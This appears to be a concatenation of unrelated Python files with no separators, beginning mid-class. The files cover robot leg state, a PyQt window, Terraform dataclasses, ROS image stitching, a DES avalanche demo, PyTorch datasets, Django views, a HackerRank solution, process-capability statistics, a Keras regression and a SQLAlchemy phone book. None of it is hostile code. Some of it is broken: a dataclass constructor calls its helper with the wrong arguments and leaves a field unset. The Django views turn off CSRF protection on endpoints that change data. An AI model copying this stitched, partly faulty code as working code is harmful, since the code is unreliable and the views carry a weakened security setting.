  def desired_leg_state(self, state):
    self._desired_leg_state = copy.deepcopy(state)

  @property
  def leg_state(self) -> Sequence[gait_generator.LegState]:
    """The leg state after considering contact with ground.

    Returns:
      The actual state of each leg after accounting for contacts.
    """
    return self._leg_state

  @leg_state.setter
  def leg_state(self, state):
    self._leg_state = copy.deepcopy(state)


import sys
from PyQt5.QtWidgets import *

class MyWindow(QMainWindow):
    def __init__(self):
        super().__init__()
        self.setGeometry(500,200,300,400)
        self.setWindowTitle("PyQt")

        #display on Mywindow
        btn = QPushButton("버튼1", self)

app = QApplication(sys.argv)
window = MyWindow()
window.show()
app.exec_()


from dataclasses import dataclass

@dataclass
class StackBackendProperties:
    hostname: str
    organization: str
    workspace: str

    def __init__(self, hostname: str = 'app.terraform.io',
                 organization: str = 'danielcg',
                 workspace: str = 'bootstrap'):
        self.hostname = hostname
        self.organization = organization
        self.workspace = workspace

@dataclass
class StackVpcProperties:
    region: str
    cidr: str
    private_subnets: list
    public_subnets: list
    az_suffix: list

    def __defaults(self, az_suffix, private_subnets, public_subnets):
        if az_suffix is None:
            self.az_suffix = ['a', 'b', 'c']

        if private_subnets is None:
            self.private_subnets = ['10.0.1.0/24', '10.0.2.0/24', '10.0.3.0/24']

    def __init__(self, region: str = 'us-east-2', az_suffix=None, cidr: str = '10.0.0.0/16', private_subnets=None,
                 public_subnets=None):
        self.__defaults(self, az_suffix, private_subnets)
        self.region = region
        self.cidr = cidr


#!/usr/bin/env python3
# A simple ROS subscriber node in Python

#source ~/marsworks_official/catkin_ws/devel/setup.bash
#roslaunch realsense2_camera rs_camera.launch
import rospy
from sensor_msgs.msg import Image
from cv_bridge import CvBridge
import cv2
import os
import numpy as np
import time
import imutils

class Nodo(object):

    def __init__(self):
        # Params
        self.image = None
        self.br = CvBridge()
        # Node cycle rate (in Hz).
        self.loop_rate = rospy.Rate(1)
        self.t = 0
        self.imgs = []
        time.sleep(2)
        # Subscribers
        rospy.Subscriber("/camera/color/image_raw",Image,self.callback)

    def callback(self, msg):
        rospy.loginfo('Image received...')
        self.image = cv2.cvtColor(self.br.imgmsg_to_cv2(msg), cv2.COLOR_RGB2BGR)
        time.sleep(1)
        self.imgs.append(self.image)
        self.t += 1
        print(self.t)
        if self.t == 25:
            print("stich")
            img = self.stitch(self.imgs)

            img = cv2.copyMakeBorder(img, 10, 10, 10, 10,cv2.BORDER_CONSTANT, (0, 0, 0))
            gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
            thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY)[1]
            cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
            cnts = imutils.grab_contours(cnts)
            c = max(cnts, key=cv2.contourArea)
            mask = np.zeros(thresh.shape, dtype="uint8")
            (x, y, w, h) = cv2.boundingRect(c)
            img = img[y:y + h, x:x + w]
            cv2.imwrite('output.png',img)

            # cv2.rectangle(mask, (x, y), (x + w, y + h), 255, -1)
            # minRect = mask.copy()
            # sub = mask.copy()
            # while cv2.countNonZero(sub) > 0:
            #     minRect = cv2.erode(minRect, None)
            #     sub = cv2.subtract(minRect, thresh)
            os._exit(0)
        # self.show_image(self.image)

    def stitch(self,images):
        stitchy=cv2.Stitcher.create()
        (dummy,output)=stitchy.stitch(images)
        if dummy != cv2.STITCHER_OK:
        # checking if the stitching procedure is successful
        # .stitch() function returns a true value if stitching is
        # done successfully
            print("stitching ain't successful")
            os._exit(0)
        else:
            print('Your Panorama is ready!!!')
            return output

    def show_image(self, img):
        cv2.imshow("Image Window", img)
        cv2.waitKey(3)

    def start(self):
        rospy.spin()
        while not rospy.is_shutdown():
            self.loop_rate.sleep()

if __name__ == '__main__':
    rospy.init_node("panaroma")
    my_node = Nodo()
    my_node.start()


from Crypto.Cipher import DES
from Crypto.Random import get_random_bytes
import binascii

def des_encrypt(key, plaintext):
    cipher = DES.new(key, DES.MODE_ECB)
    return cipher.encrypt(plaintext)

def hamming_distance(str1, str2):
    return sum(bin(b1 ^ b2).count('1') for b1, b2 in zip(str1, str2))

def difference_ratio(hamming_distance, length):
    return (hamming_distance / length) * 100

# 給予設定好的明文、金鑰(只是為了展示崩塌效應，因此隨便給予)。
binary_key1 = '0001001000110101010101100111100010011010101111011101111011110000'
binary_key2 = '0001001000110101010101100110100110011010101111011101111011110000'
# 使binary_key2與binary_key1只有1bit的不同(在第28個bit)，其他不同則是奇偶校驗的結果，因為最後會被捨棄因此無所謂

key1 = int(binary_key1, 2).to_bytes(8, byteorder='big')
key2 = int(binary_key2, 2).to_bytes(8, byteorder='big')  # 將key轉成16進位儲存

binary_plaintext1 = '0110000101100010011000110110010001100101011001100110011101101000'
binary_plaintext2 = '0110000101100010011000110110011001100101011001100110011101101000' # 使binary_plaintext2與binary_plaintext1只有1bit的不同(在第31個bit)
plaintext1 = int(binary_plaintext1, 2).to_bytes(8, byteorder='big')
plaintext2 = int(binary_plaintext2, 2).to_bytes(8, byteorder='big')  # 將plaintext轉成16進位儲存

# 利用內建函式加密第一個案例:不同key(相差1bit)，相同明文
ciphertext1_case1 = des_encrypt(key1, plaintext1)
ciphertext2_case1 = des_encrypt(key2, plaintext1)

# 利用內建函式加密第二個案例:不同明文(相差1bit)，相同key
ciphertext1_case2 = des_encrypt(key1, plaintext1)
ciphertext2_case2 = des_encrypt(key1, plaintext2)

# 利用內建函式計算兩個案例的漢明距離跟差異比例
distance_case1 = hamming_distance(ciphertext1_case1, ciphertext2_case1)
ratio_case1 = difference_ratio(distance_case1, len(ciphertext1_case1) * 8)

distance_case2 = hamming_distance(ciphertext1_case2, ciphertext2_case2)
ratio_case2 = difference_ratio(distance_case2, len(ciphertext1_case2) * 8)

# 顯示結果。
#可以清晰地看到1bit不同卻會導致大約50%的差異，清晰地感受到崩塌效應。
print("案例1:")
print(f"Ciphertext 1: {binascii.hexlify(ciphertext1_case1)}")
print(f"Ciphertext 2: {binascii.hexlify(ciphertext2_case1)}")
print(f"漢明距離: {distance_case1}")
print(f"差異比例: {ratio_case1:.2f}%")
print("\n案例2:")
print(f"Ciphertext 1: {binascii.hexlify(ciphertext1_case2)}")
print(f"Ciphertext 2: {binascii.hexlify(ciphertext2_case2)}")
print(f"漢明距離: {distance_case2}")
print(f"差異比例: {ratio_case2:.2f}%")


import torch
import os,glob
import random,csv
import pandas as pd
import numpy as np

from torch.utils.data import Dataset,DataLoader
from torchvision import transforms
from PIL import Image

class CNN_Geneset(Dataset):
    def __init__(self,root,resize,mode):
        super(Dataset,self).__init__()
        self.root = root
        self.resize = resize

        self.name2label = {} # ”sq...“ : 0
        for name in sorted(os.listdir(os.path.join(root))):
            if not os.path.isdir(os.path.join(root,name)):
                continue
            self.name2label[name] = len(self.name2label.keys())

        #print(self.name2label)
        # image, label
        self.images,self.labels = self.load_csv('iamges.csv')

        if mode == 'train':
            self.images = self.images[:int(0.8 * len(self.images))]
            self.labels = self.labels[:int(0.8 * len(self.labels))]
        elif mode == 'all':
            self.images = self.images[:]
            self.labels = self.labels[:]
        else:
            self.images = self.images[int(0.8*len(self.images)):]
            self.labels = self.labels[int(0.8 * len(self.labels)):]

    def load_csv(self, filename):

        if not os.path.exists(os.path.join(self.root,filename)):
            images = []
            for name in self.name2label.keys():
                # 'data\\0\\0.jpg'
                images += glob.glob(os.path.join(self.root,name,'*jpg'))
            # 301, 'data\\1\\36.jpg'
            print(len(images),images)

            random.shuffle(images)
            with open(os.path.join(self.root, filename), mode='w',newline='') as f:
                writer = csv.writer(f)
                for img in images: # 'data\\0\\0.jpg'
                    name = img.split(os.sep)[-2]
                    label = self.name2label[name]
                    # 'data\\0\\0.jpg', 0
                    writer.writerow([img, label])
                print('writen into csv file:', filename)

        # read from csv file
        images,labels = [],[]
        with open(os.path.join(self.root,filename)) as f:
            reader = csv.reader(f)
            value = pd.read_csv('value.csv')
            value = np.array(value)
            #print(value)
            for row in reader:
                # 'data\\0\\0.jpg', 0
                img,label = row
                if value[int(img.split(os.sep)[-1][:-4])] != -1:
                    label = int(value[int(img.split(os.sep)[-1][:-4])])
                    images.append(img)
                    labels.append(label)
                else:
                    images.append(img)
                    labels.append(-1)

        assert  len(images) == len(labels)

        return  images,labels

    def __len__(self):
        return len(self.images)

    def __getitem__(self, idx):
        # idx~[0~len(images)]
        # self.images, self.labels
        # img: 'data\\0\\0.jpg'
        # label； 0
        img, label = self.images[idx],self.labels[idx]
        tf = transforms.Compose([
            lambda x:Image.open(x),
            #lambda x: Image.open(x).convert('RGB'), # string path =>  image data
            transforms.Resize((self.resize,self.resize)),
            transforms.ToTensor()
        ])
        img = tf(img)
        label = torch.tensor(label)

        return img,label

def main():

    import visdom
    import time

    #viz = visdom.Visdom()
    db = CNN_Geneset('data',100,'all')

    encoder_loader = DataLoader(db, batch_size=301)

    for x, label in encoder_loader:
        print(label.shape)
    value = pd.read_csv('value.csv')
    value = np.array(value)
    num = 0
    for i in value:
        if i != -1:
            num += 1
    print(num)

if __name__ == '__main__':
    main()


import torch
import torch.utils.data as data
import torchvision.transforms as T
from PIL import Image
import pickle
import numpy as np
import cv2
import random

def random_ff_mask(configDict=None, size = (256, 256)):
    """
    Generate a random free form mask according to "Free-Form Image Inpainting with Gated Convolution".
    With default setting, around 1/5 is covered by mask, on average.

    Args:
        a dict of mask config with following attrs:
        -- shape: a sequence of mask shape
        -- vertex: num of vertex range
        -- length: trace length range
        -- bWid: brush width range
        -- angle: angle change in rad range
        -- cnt: num of traces range
        size -- tuple of expected mask size

    Returns:
        np.ndarray random free form mask

    Modified from https://github.com/avalonstrel/GatedConvolution_pytorch
    """

    if configDict == None:
        configDict = {'shape':(256, 256), \
                        'vertex':20, \
                        'length':50, \
                        'bWid':20, \
                        'angle':4.0, \
                        'cnt':5 }

    h,w = configDict['shape']
    mask = np.zeros((h,w))
    num_c = random.randint(1, configDict['cnt'])

    for _ in range(num_c):
        start_x = random.randint(1, w)
        start_y = random.randint(1, h)
        num_v = random.randint(10, configDict['vertex'])
        for i in range(num_v):
            angle = 0.01+np.random.randint(configDict['angle'])
            if i % 2 == 0:
                angle = 2 * 3.1415926 - angle
            length = random.randint(10, configDict['length'])
            brush_w = random.randint(10, configDict['bWid'])
            end_x = (start_x + length * np.sin(angle)).astype(np.int32)
            end_y = (start_y + length * np.cos(angle)).astype(np.int32)

            cv2.line(mask, (start_y, start_x), (end_y, end_x), 1.0, brush_w)
            start_x, start_y = end_x, end_y

    mask = cv2.resize(mask, size, cv2.INTER_NEAREST)
    return mask.reshape(mask.shape+(1,)).astype('uint8') * 255

class celebA(data.Dataset):
    def __init__(self, pathFile, img_transform, mask_transform, maskDumpFile=None, train='train', mask_config=None, size=(256, 256)):
        super().__init__()
        self.img_transform = img_transform
        self.mask_transform = mask_transform
        self.train = train
        self.mask_config = mask_config
        self.size = size

        filePathDict = pickle.load(open(pathFile, "rb"))
        if self.train == 'train':
            self.paths = filePathDict['train']
            self.maskList = None
        elif self.train == 'test':
            self.paths = filePathDict['test']
            self.maskList = None
        elif self.train == 'val' and maskDumpFile != None:
            self.paths = filePathDict['train']
            self.maskList = pickle.load(open(maskDumpFile, "rb"))
        else:
            raise("DsetTagError")

    def __getitem__(self, index):
        gt = Image.open(self.paths[index])
        gt = T.Compose(self.img_transform)(gt.convert('RGB'))
        if self.train == 'train' or self.train == 'test' or self.maskList == None:
            mask = random_ff_mask(self.mask_config, self.size)
        else:
            mask = cv2.resize(self.maskList[index % 16], self.size, cv2.INTER_NEAREST)
        mask = T.Compose(self.mask_transform)(255-mask)
        return gt * mask, mask, gt

    def __len__(self):
        return len(self.paths)


import cv2
import os
import glob
import func as f

input_dir = "C:/resize"
new_dir = "C:/new_dir"
new_size = (710, 405)
min_size = 710

classes = ['Human', 'Skull', 'Zombie']
all_not_resized = []
all_resized = []

if f.check_dir(new_dir) == False:
	os.mkdir(new_dir)

all_resized, all_not_resized = f.resize(input_dir, new_dir, new_size, min_size, classes)

f.create_txt("imagees.txt", all_resized)
f.create_txt("disregarded.txt", all_not_resized)


import json
from json.decoder import JSONDecodeError

from django.http import (
    HttpResponse,
    HttpResponseBadRequest,
    HttpResponseNotAllowed,
    JsonResponse,
)
from django.views.decorators.csrf import csrf_exempt

from .models import Hero

# Create your views here.

@csrf_exempt
def hero_list(request):
    if request.method == "GET":
        hero_all_list = [hero.to_dict() for hero in Hero.objects.all().iterator()]
        return JsonResponse(hero_all_list, safe=False)
    elif request.method == "POST":
        try:
            body = request.body.decode()
            body = json.loads(body)
            hero_name = body["name"]
            hero_age = int(body["age"])
        except (KeyError, ValueError, JSONDecodeError):
            return HttpResponseBadRequest()
        hero = Hero(name=hero_name, age=hero_age)
        hero.save()
        response_dict = hero.to_dict()
        return JsonResponse(response_dict, status=201)
    else:
        return HttpResponseNotAllowed(["GET", "POST"])

@csrf_exempt
def hero_info(request, id_: int):
    if request.method != "GET" and request.method != "PUT":
        return HttpResponseNotAllowed(["GET", "PUT"])

    try:
        hero = Hero.objects.get(id=id_)
    except Hero.DoesNotExist:
        return HttpResponseBadRequest()

    if request.method == "GET":
        return JsonResponse(hero.to_dict())
    elif request.method == "PUT":
        try:
            body = request.body.decode()
            body = json.loads(body)
            hero_name = body["name"]
            hero_age = int(body["age"])
        except (KeyError, ValueError, JSONDecodeError):
            return HttpResponseBadRequest()
        hero.name = hero_name
        hero.age = hero_age
        hero.save()
        return JsonResponse(hero.to_dict())

def hero_id(request, id_: int):
    return HttpResponse(f"Your id is {id_}!")

def hero_name(request, name: str):
    return HttpResponse(f"Your name is {name}!")


#!/bin/python3

import math
import os
import random
import re
import sys

#
# Complete the 'gamingArray' function below.
#
# The function is expected to return a STRING.
# The function accepts INTEGER_ARRAY arr as parameter.
#

def gamingArray(arr):
    curMax, maxesSoFar = arr[0], 1

    for idx in range(1, len(arr)):
        if curMax < arr[idx]:
            maxesSoFar += 1
            curMax = arr[idx]

    return 'ANDY' if maxesSoFar % 2 == 0 else 'BOB'

if __name__ == '__main__':
    fptr = open(os.environ['OUTPUT_PATH'], 'w')

    g = int(input().strip())

    for g_itr in range(g):
        arr_count = int(input().strip())

        arr = list(map(int, input().rstrip().split()))

        result = gamingArray(arr)

        fptr.write(result + '\n')

    fptr.close()


# Imports
import sensorfenster
import sensorclient
import threading

version = '0.1'
name = '<cooler Gruppenname>'
print('Drohnensteuerung ' + version + ' der ' + name + ' gestartet')

# Sensorclient starten
cSensor = sensorclient.sensorclient()
cSensorThread = threading.Thread(target=cSensor.run, args=())
cSensorThread.start()

# GUI Starten
sFenster = sensorfenster.WerteFenster(cSensor)
sFensterThread = threading.Thread(target=sFenster.run, args=())
sFensterThread.start()


# -*- coding: utf-8 -*-

import numpy as np
import math
import pandas as pd
from scipy.stats import norm

class CpCpk:
    def __init__(self):
        super(CpCpk, self).__init__()

    # noinspection PyMethodMayBeStatic
    def Cp(self, mylist, usl, lsl):
        arr = np.array(list(np.float_(mylist)))
        arr = arr.ravel()
        sigma = np.std(arr)
        Cp = float(usl - lsl) / (6 * sigma)
        return Cp

    # noinspection PyMethodMayBeStatic
    def Cpk(self, mylist, usl, lsl):
        arr = np.array(list(np.float_(mylist)))
        arr = arr.ravel()
        sigma = np.std(arr)
        m = np.mean(arr)

        Cpu = float(usl - m) / (3 * sigma)
        Cpl = float(m - lsl) / (3 * sigma)
        Cpk = np.min([Cpu, Cpl])

        return Cpk

    # noinspection PyMethodMayBeStatic
    def cpk(self, df: pd.DataFrame, usl, lsl):
        """
        :param df: data dataframe
             :param usl: upper limit of data index
             :param lsl: lower limit of data index
        :return:
        """
        sigma = 3
        # If the lower limit is 0, use the upper limit reverse negative value instead
        if int(lsl) == 0:
            lsl = 0 - usl

            # Data average
        u = df.mean()[0]

        # Data standard deviation
        stdev = np.std(df.values, ddof=1)

        # Generate average distribution of horizontal axis data
        x1 = np.linspace(u - sigma * stdev, u + sigma * stdev, 1000)

        # Calculate the normal distribution curve
        y1 = np.exp(-(x1 - u) ** 2 / (2 * stdev ** 2)) / (math.sqrt(2 * math.pi) * stdev)

        cpu = (usl - u) / (sigma * stdev)
        cpl = (u - lsl) / (sigma * stdev)

        # Get cpk
        cpk = min(cpu, cpl)

        return cpk

    # noinspection PyMethodMayBeStatic
    def get_yield(self, cpk):
        return norm.cdf(cpk * 3)

if __name__ == '__main__':
    cpcpk = CpCpk()
    a1 = np.arange(0, 10)
    print(a1)
    print(cpcpk.Cp(a1, 10, 0))
    print(cpcpk.Cpk(a1, 10, 0))


# Load library
import pickle
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns; sns.set(style = 'ticks', color_codes = True)
from sklearn.preprocessing import StandardScaler
from sklearn.model_selection import train_test_split
from sklearn.metrics import mean_squared_error, r2_score
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Dropout

#ignore warnings during runing models
import warnings
warnings.filterwarnings('ignore')

# Load datasets
ch4_ssa = pd.read_excel('CH4 SSA.xlsx').drop(['No'], axis = 1)
co2_ssa = pd.read_excel('CO2 SSA.xlsx').drop(['No'], axis = 1)
df1 = ch4_ssa.drop_duplicates()
df2 = co2_ssa.drop_duplicates()
df = df1.append(df2)

# Draw distplot of uptake amount
plt.figure(figsize = (8, 8))
plt.xlim(-1000, 5000)
plt.xlabel('SSA', fontsize = 18)
plt.ylabel('Percentage', fontsize = 18)
sns.distplot(df['SSA'], axlabel = 'Specific Surface Area (m2/g)', label = 'Percentage')
plt.savefig('02 SSA F1 Distplot.png', dpi = 300)
plt.show()

# Draw pairplot and heatmap
plt.figure(figsize = (8, 8))
sns.pairplot(df.drop(['SSA'], axis = 1), palette = 'husl', plot_kws=dict(edgecolor = None))
plt.savefig('02 SSA F2 Pairplot.png', dpi = 300)
plt.show()

plt.figure(figsize = (10, 8))
ax = sns.heatmap(df.drop(['SSA'], axis = 1).corr(), cmap="YlGnBu", annot = True, vmin = 0, vmax = 1)
ax.set_ylim([2, 0])
plt.savefig('02 SSA F3 Heatmap.png', dpi = 300)
plt.show()

for rs in [7, 14, 21, 35, 42, 84, 100, 120, 200, 420]:
    # Split the datasets into training and test datasets
    X = df.drop(['SSA'], axis = 1)
    y = df['SSA']

    X_train, X_test, y_train, y_test = train_test_split(X, y,
                                                        test_size = 0.2,
                                                        shuffle = True,
                                                        random_state = rs)
    y_train = np.asarray(y_train)
    y_test = np.asarray(y_test)
    # Standardization
    sds = StandardScaler()
    X_train_scaled = sds.fit_transform(X_train)
    X_test_scaled = sds.transform(X_test)

    with open('02 SSA Scaler RS{}.pickle'.format(rs), 'wb') as f:
         pickle.dump(sds, f)

    #'''
    # Multilayer Perceptron
    mlp = Sequential()
    mlp.add(Dense(units = 128, activation = 'relu', input_dim = X.shape[1]))
    mlp.add(Dropout(0.2))
    mlp.add(Dense(units = 128, activation = 'relu'))
    mlp.add(Dropout(0.2))
    mlp.add(Dense(units = 64, activation = 'relu'))
    mlp.add(Dropout(0.2))
    mlp.add(Dense(units = 32, activation = 'relu'))
    mlp.add(Dropout(0.2))
    mlp.add(Dense(units = 1))
    mlp.compile(optimizer = 'adam',
                loss='mean_squared_error',
                metrics = ['mae'])

    mlp.fit(X_train_scaled, y_train, epochs = 2000, batch_size = 16)
    # Saving SSA model
    mlp.save('02 SSA RS{}.h5'.format(rs))

    y_pred_train = mlp.predict(X_train_scaled)
    y_pred_test = mlp.predict(X_test_scaled)

    y_pred_train = y_pred_train.reshape(-1)
    y_pred_test = y_pred_test.reshape(-1)

    train_array = pd.DataFrame({'y_train': np.array(y_train),
                                'y_pred_train': y_pred_train,
                                'AE':np.abs(y_train - y_pred_train),
                                'APE': np.abs((y_train - y_pred_train)/y_train)*100})
    test_array = pd.DataFrame({'y_test': np.array(y_test),
                               'y_pred_test':y_pred_test,
                               'AE': np.abs(y_test - y_pred_test),
                               'APE': np.abs((y_test - y_pred_test)/y_test)*100})

    train_array.to_excel('02 SSA RS{} train.xlsx'.format(rs))
    test_array.to_excel('02 SSA RS{} test.xlsx'.format(rs))

    # Build DataFrame from evaluation metrics of both training and test datasets
    train_eval = pd.Series({'RMSE': round(np.sqrt(mean_squared_error(y_train, y_pred_train)), 2),
                            'R^2': round(r2_score(y_train, y_pred_train), 2),
                            'MAE': round(sum(train_array['AE'])/len(y_train), 2),
                            'MAPE':round(sum(train_array['APE'])/len(y_train), 2)})
    test_eval = pd.Series({'RMSE': round(np.sqrt(mean_squared_error(y_test, y_pred_test)), 2),
                            'R^2': round(r2_score(y_test, y_pred_test), 2),
                            'MAE': round(sum(test_array['AE'])/len(y_test), 2),
                            'MAPE':round(sum(test_array['APE'])/len(y_test), 2)})
    df2 = pd.DataFrame({'Train': train_eval,
                        'Test': test_eval})
    # Draw figure for visualiation and comparison
    plt.figure(figsize = (8, 8))
    plt.scatter(y_train, y_pred_train, c='Tab:purple', alpha = 0.6, edgecolors = 'none',
                label= "Train (RMSE:{} R^2:{} MAE:{} MAPE:{})".format(df2.iloc[0, 0], df2.iloc[1, 0], df2.iloc[2, 0], df2.iloc[3,0]))
    plt.scatter(y_test, y_pred_test, c='Tab:blue', alpha = 0.6, edgecolors = 'none',
                label= "Test (RMSE:{} R^2:{} MAE:{} MAPE:{})".format(df2.iloc[0, 1], df2.iloc[1, 1], df2.iloc[2, 1], df2.iloc[3, 1]))
    plt.plot([0, 4000], [0, 4000], c ='orange', ls = '--')
    plt.axis([0, 4000, 0, 4000])
    plt.xlabel('y_test', fontsize = 18)
    plt.ylabel('y_pred', fontsize = 18)
    plt.title('02 SSA RS{}'.format(rs), fontsize = 22)
    plt.legend(loc="lower right", frameon = False)
    plt.savefig('02 SSA RS{}.png'.format(rs), dpi = 300)
    plt.show()


from sqlalchemy.orm import Session
from . import models, schemas
from ..exceptions import FormException
from sqlalchemy import or_

def get_phone_book(db: Session, search: str | None = None):
    if not search:
        return db.query(models.Phone_book).all()
    return db.query(models.Phone_book).filter(
        or_(
            (models.Phone_book.first_name + " " + models.Phone_book.last_name).ilike(f'%{search}%'),
            models.Phone_book.tel.ilike(f'%{search.replace(" ", "").replace("-","")}%'),
            models.Phone_book.email.ilike(f'%{search}%'),
        )
    ).all()

def get_phone_book_by_phone(db: Session, tel: str):
    return db.query(models.Phone_book).filter(models.Phone_book.tel == tel).first()

def get_phone_book_by_id(db: Session, entry_id: int):
    return db.query(models.Phone_book).filter(models.Phone_book.id == entry_id).first()

def create_phone_book_entry(db: Session, entry: schemas.PhonebookInput):
    db_entry = models.Phone_book(
        first_name=entry.first_name,
        last_name=entry.last_name,
        tel=entry.tel,
        email=entry.email,
        author_id=entry.author_id
    )
    db.add(db_entry)
    db.commit()
    db.refresh(db_entry)

def update_phone_book_entry(db: Session, entry: schemas.PhonebookUpdate, entry_id: int):
    db_entry = get_phone_book_by_id(db, entry_id)
    if not db_entry:
        raise FormException(status_code=400, detail="Entry not in Phone Book")
    entry_data = entry.dict(exclude_none=True, exclude_unset=True)
    for key, value in entry_data.items():
        setattr(db_entry, key, value)

    db.add(db_entry)
    db.commit()
    db.refresh(db_entry)

def delete_phone_book_entry(db: Session, entry_id: int):
    db_entry = get_phone_book_by_id(db, entry_id)
    if not db_entry:
        raise FormException(status_code=400, detail="Entry not in Phone Book")
    db.delete(db_entry)
    db.commit()